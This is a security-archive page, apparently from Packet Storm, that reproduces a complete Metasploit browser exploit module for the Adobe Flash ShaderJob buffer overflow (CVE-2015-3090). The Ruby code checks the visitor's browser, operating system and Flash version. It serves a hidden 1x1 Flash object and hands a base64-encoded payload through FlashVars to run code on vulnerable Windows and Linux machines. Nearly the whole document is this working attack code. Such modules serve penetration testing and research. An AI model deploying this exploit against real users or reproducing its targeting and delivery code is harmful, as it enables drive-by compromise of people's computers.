Adobe Flash Player ShaderJob Buffer Overflow

2015-06-1900:00:00
Chris Evans
packetstormsecurity.com
0.974 High
EPSS
Percentile
99.9%
JSON
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::BrowserExploitServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Adobe Flash Player ShaderJob Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow vulnerability related to the ShaderJob workings on  
Adobe Flash Player. The vulnerability happens when trying to apply a Shader setting up the  
same Bitmap object as src and destination of the ShaderJob. Modifying the "width" attribute  
of the ShaderJob after starting the job it's possible to create a buffer overflow condition  
where the size of the destination buffer and the length of the copy are controlled. This  
module has been tested successfully on:  
* Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.169.  
* Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.169.  
* Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.169.  
* Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.457.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Chris Evans', # Vulnerability discovery  
'Unknown', # Exploit in the wild  
'juan vazquez' # msf module  
],  
'References' =>  
[  
['CVE', '2015-3090'],  
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-09.html'],  
['URL', 'https://www.fireeye.com/blog/threat-research/2015/05/angler_ek_exploiting.html'],  
['URL', 'http://malware.dontneedcoffee.com/2015/05/cve-2015-3090-flash-up-to-1700169-and.html'],  
['URL', 'http://www.brooksandrus.com/blog/2009/03/11/bilinear-resampling-with-flash-player-and-pixel-bender/']  
],  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Platform' => ['win', 'linux'],  
'Arch' => [ARCH_X86],  
'BrowserRequirements' =>  
{  
:source => /script|headers/i,  
:arch => ARCH_X86,  
:os_name => lambda do |os|  
os =~ OperatingSystems::Match::LINUX ||  
os =~ OperatingSystems::Match::WINDOWS_7 ||  
os =~ OperatingSystems::Match::WINDOWS_81  
end,  
:ua_name => lambda do |ua|  
case target.name  
when 'Windows'  
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF  
when 'Linux'  
return true if ua == Msf::HttpClients::FF  
end  
  
false  
end,  
:flash => lambda do |ver|  
case target.name  
when 'Windows'  
return true if ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.169')  
when 'Linux'  
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.457')  
end  
  
false  
end  
},  
'Targets' =>  
[  
[ 'Windows',  
{  
'Platform' => 'win'  
}  
],  
[ 'Linux',  
{  
'Platform' => 'linux'  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'May 12 2015',  
'DefaultTarget' => 0))  
end  
  
def exploit  
@swf = create_swf  
  
super  
end  
  
def on_request_exploit(cli, request, target_info)  
print_status("Request: #{request.uri}")  
  
if request.uri =~ /\.swf$/  
print_status('Sending SWF...')  
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})  
return  
end  
  
print_status('Sending HTML...')  
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})  
end  
  
def exploit_template(cli, target_info)  
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"  
target_payload = get_payload(cli, target_info)  
b64_payload = Rex::Text.encode_base64(target_payload)  
os_name = target_info[:os_name]  
  
if target.name =~ /Windows/  
platform_id = 'win'  
elsif target.name =~ /Linux/  
platform_id = 'linux'  
end  
  
html_template = %Q|<html>  
<body>  
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />  
<param name="movie" value="<%=swf_random%>" />  
<param name="allowScriptAccess" value="always" />  
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />  
<param name="Play" value="true" />  
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>  
</object>  
</body>  
</html>  
|  
  
return html_template, binding()  
end  
  
def create_swf  
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3090', 'msf.swf')  
swf = ::File.open(path, 'rb') { |f| swf = f.read }  
  
swf  
end  
end  
`